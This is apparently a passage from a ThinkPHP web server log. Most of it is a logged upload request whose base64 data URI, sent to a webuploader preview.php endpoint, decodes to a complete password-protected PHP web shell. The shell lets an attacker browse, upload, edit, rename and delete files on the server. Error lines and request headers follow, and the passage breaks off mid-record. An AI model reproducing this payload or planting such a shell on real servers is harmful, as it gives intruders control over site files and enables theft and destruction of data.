'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'iscwo_kaifu' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:03+08:00 ] 116.213.36.234 POST 51tianwei.com/statics/webuploader/0.1.15/server/preview.php [运行时间:0.002572s] [吞吐率:388.83req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'statics', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 